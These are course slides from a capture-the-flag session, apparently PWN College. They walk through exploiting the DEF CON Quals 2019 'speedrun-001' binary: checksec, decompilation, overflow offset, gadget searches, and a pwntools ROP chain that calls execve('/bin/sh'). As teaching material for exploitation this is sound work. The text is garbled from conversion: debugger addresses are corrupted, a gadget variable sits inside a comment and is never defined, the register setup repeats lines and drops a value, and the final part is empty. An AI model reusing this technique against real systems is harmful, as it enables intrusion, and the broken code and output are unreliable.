PWN College

Session 12
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References: https://guyinatuxedo.github.io/

Stack Buffer Overflows

Defcon Quals 2019 Speedrun1

• It is a **64-bit statically** compiled binary. This binary has **NX** (**Non-Executable** stack) **enabled**, which means that the stack memory region is **not executable**.

```
→ dcquals19_speedrun1 file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux
3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
→ dcquals19_speedrun1 checksec speedrun-001
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
```

• We can check the **memory mappings** with the *vmmap* command while the binary is running.

```
000004498ae in ?? ()
                  End
                                     Perm
                                                Name
                                                /home/speedrun-001
                  0x004b6000
                                      r-xp
                                                /home/speedrun-001
                                     rw-p
                                                [heap]
                                                [vvar]
 00007ffff7ff9000 0x00007ffff7ffd000 r--p
 90007ffff7ffd000 0x00007ffff7fff000 r-xp
x00007ffffffde000 0x00007ffffffff000 rw-p
                                                 [stack]
xffffffffff600000 0xffffffffff601000 --xp
```

- Since the binary is **statically** compiled, that means that the *libc* portions that the binary needs are compiled with the binary. So *libc* is **not linked** to the binary (as you can see there is **no** *libc* **memory region**).
- As a result, there are a lot of potential **gadgets** for us to use. In addition to that, since **PIE** is **not enabled** we know the addresses of all of those gadgets.
- Also since the binary has a lot more code in it as a result of being statically compiled, *ghidra* will take a bit of time to analyze it.
- When we run the binary, it essentially just prompts us for input.

```
→ dcquals19_speedrun1 ./speedrun-001
Hello brave new challenger
Any last words?
hello
This will be the last thing that you say: hello
Alas, you had no luck today.
```

- When we take a look at the binary in *Ghidra*, we see a **long list** of **functions**.
- To find out which one actually runs the code we look for, we can look at the *entry* function.
- Or we can use the *backtrace* (*bt*) command in **gdb** when it prompts us for input, which will tell us the functions that have been called to reach the point we are at.

You can just push g in ghidra and enter the address.

- 0x400c1d looks like it's the main function.
- The functions $FUN_00400b4d$ and $FUN_00400bae$ just print out text.
- The **FUN_00400b60** function shows us something interesting.
- We can see it **prints** out a message, runs a function (which is based on using the binary and the order of the messages, probably **scans in** data), then **prints** a message with **our input**.

```
FUN 00400bcl(undefined8 uParml,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,
           undefined8 uParm5, undefined8 uParm6)
  long lVarl;
  FUN 00410590(PTR DAT 006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN 0040e790("DEBUG");
  if (lVarl == 0) {
    FUN_00449040(5);
  FUN 00400b4d();
  FUN 00400b60();
  FUN 00400bae();
  return 0;
void FUN 00400b60(void)
  undefined local 408 [1024];
  FUN 00410390("Any last words?");
  FUN 004498a0(0, local 408, 2000);
  FUN 0040f710("This will be the last thing that you say: %s\n",local 408);
  return:
```

- It appears to be **scanning in** our input by making a *syscall*, versus using a function like *scanf* or *fgets*.
- A *syscall* is essentially a way for your program to request your **OS** or **Kernel** to do something.
- This function seems a bit weird. Recall the **bt** command result. The **SIGINT** signal happened in **0x4498ae**. We see that this address is located right after a syscall which is the first syscall inside the if condition.
- In the assembly code, we see that it sets the RAX register equal to θ by xoring eax by itself.
- For the linux **x64** architecture, the contents of the rax register decides what *syscall* gets executed. And when we look on the syscall chart, we see that it corresponds to the *read* syscall.

```
undefined8 FUN_004498a0(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)
{
    uint uVar1;
    if (DAT_006bc80c == 0) {
        syscall();
        return 0;
    }
    uVar1 = FUN_0044be40();
    syscall();
    FUN_0044bea0((ulong)uVar1,uParm2,uParm3);
    return 0;
}
```

- We don't see the arguments being loaded for the **syscall**, since they were already loaded when this function was called.
- Recall the calling convention of amd64. The input arguments of a function will be loaded into rdi, rsi, rdx, rcx, r8, r9.
- The arguments this function takes and the registers they take it in, are the **same** as the *read syscall*, so it can just call it after it zeroes at *rax*.

%rax	System call	%rdi	%rsi	%rdx
0	sys_read	unsigned int fd	char *buf	size_t count

FUN 004498a0(0,local 408,2000);

• So with that, we can see it is **scanning in 2000 bytes** worth of input into *local_408* which can hold 1024 bytes. We have an **overflow** that we can overwrite the **return address** with and get **code execution**.

- The question now is what to do with it?
- We will be making a **ROP Chain** (Return **O**riented **P**rogramming) and using the **buffer overflow** to execute it.
- A ROP Chain is made up of **ROP Gadgets**, which are bits of code in the binary itself that end in a *ret* instruction (which will carry it over to the next gadget).
- We will essentially just stitch together pieces of the binary's code, to make code that will give us a **shell**. Since this is all valid code, we don't have to worry about the code being non-executable.
- Since **PIE** is **disabled**, we know the addresses of all of the binary's instructions.
- Also since it is **statically** linked, that means it is a **large binary** with **plenty** of **gadgets**.

• We will be making a **rop chain** to make a *execve syscall* to execute */bin/sh* to give us a shell. We need the following registers to have the following values.

```
rax: 0x3b Specify execve syscall
rdi: ptr to "/bin/sh" Specify file to run
rsi: 0x0 Specify no arguments
rdx: 0x0 Specify no environment variables
```

- Now our **ROP Chain** will have three parts.
 - The **first** will be to write **/bin/sh** somewhere in memory, and move the pointer to it into the **rdi** register.
 - The **second** will be to move the necessary values into the other **three** registers.
 - The third will be to make the *syscall* itself.
- Other than finding the gadgets to execute, the only thing we need to really do prior to writing the exploit is **finding** a **place** in memory to **write** / **bin**/sh.

• Let's check the **memory mappings** while the elf is running to see what we have to work with:

```
        gdb-peda$
        vmmap

        Start
        End
        Perm
        Name

        0x00400000
        0x004b6000
        r-xp
        /home/speedrun-001

        0x006b6000
        0x006bc000
        rw-p
        /home/speedrun-001

        0x0006bc000
        0x006e0000
        rw-p
        [heap]

        0x00007ffff7ff9000
        0x00007ffff7ff0000
        r--p
        [vdso]

        0x00007ffffffde000
        0x00007fffffff000
        rw-p
        [stack]

        0xfffffffff600000
        0xffffffff601000
        r--xp
        [vsyscall]

        gdb-peda$
        x/20g
        0x00000000000000
        0x00000000000000

        0x6b6000:
        0x00000000000000000
        0x000000000000000

        0x6b6020:
        0x0000000000000000
        0x000000000000000
```

- Looking at this, the **elf** memory region between 0x6b6000-0x6bc000 looks pretty good. There are a few reasons why I choose this.
 - The first is that it is from the elf's memory space that doesn't have **PIE**, so we know what the address is without an **infoleak**.
 - In addition to that, the permissions are *rw* so we can **read** and **write** to it.
 - Also there doesn't appear to be anything stored there at the moment, so it probably won't mess things up if we store it there.

- let's find the offset between the start of our input and the return address.
- We set a breakpoint right after *FUN_004498a0* is called.
- let's find the **offset** between the start of our **input** and the **return address**.
- We set a breakpoint right after $FUN_004498a0$ is called.
- So we can see that the **offset** is 0x7ffffffffde38 0x7fffffffda30 = 0x408 = 1032**bytes**.

```
reakpoint 1 at 0x400b90
Starting program: /home/speedrun-001
Hello brave new challenger
Any last words?
nello
Breakpoint 1, 0x0000000000400b90 in ?? ()
gef≻ search-pattern hello
[+] Searching 'hello' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
 0x7fffffffda40 - 0x7fffffffda47 → "hello\n"
⊫f≻ info f
                                         frame-filter functions
             float
                           frame
gef≻ info frame
Stack level 0, frame at 0x7fffffffde50:
 rip = 0x400b90; saved rip = 0x400c1d
called by frame at 0x7fffffffde70
 Arglist at 0x7fffffffda38, args:
 Locals at 0x7fffffffda38, Previous frame's sp is 0x7fffffffde50
 rbp at 0x7fffffffde40, rip at 0x7fffffffde48
```

Now we just need to find the ROP gadgets.

```
dcquals19 speedrun1 ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x00000000000415664 : pop rax ; ret
x000000000048cccb : pop rax ; ret 0x22
x000000000004a9323 : pop rax ; retf
x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
 dcquals19 speedrun1 ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
x000000000042378b : fsubp st(0) ; pop rdi ; ret
x00000000000400686 : pop rdi : ret
 dcquals19 speedrun1 ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
100000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
x0000000000044be39 : pop rdx ; pop rsi ; ret
)x000000000004101f3 : pop rsi ; ret
 dcquals19 speedrun1 ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
x00000000004a8881 : js 0x4a8901 ; pop rdx ; retf
x00000000004498b5 : pop rdx ; ret
x000000000045fe71 : pop rdx ; retf
 dcquals19 speedrun1 ROPgadget --binary speedrun-001 | grep ": syscall"
x000000000040129c : syscall
```

• So we need a gadget that will **write** an **eight byte** value (*/bin/sh*) to a memory region. For this we start my search by searching through the gadgets with *mov qword* in them.

```
→ dcquals19_speedrun1 R0Pgadget --binary speedrun-001 | grep ": mov qword"
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
```

- So we will overwrite the **return address** with the **first gadget** of the ROP chain, and when it returns it will keep on going down the chain until we get our shell.
- Also for moving values into registers, we will **store** those **values** on the **stack** in the ROP Chain, and they will just be popped off into the registers.

• Part 1:

```
from pwn import *

target = process('./speedrun-001')

popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x0000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251)
syscall = p64(0x40129c)
```

• Part 2:

```
Here is the assembly equivalent for these blocks write "/bin/sh\x00" to 0x6b6000

pop rdx, "/bin/sh\x00"
pop rax, 0x6b6000

mov qword ptr [rax], rdx

'''

rop = ''
rop += popRdx
rop += "/bin/sh\x00"
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
```

```
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall

rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += popRdx
rop += popRdx
rop += popRdx
rop += popRdx
rop += p64(0)
rop += syscall
```

Send the payload, drop to an interactive shell to use our new shell

Add the padding to the saved return address

payload = "0"*0x408 + rop

• Part 3: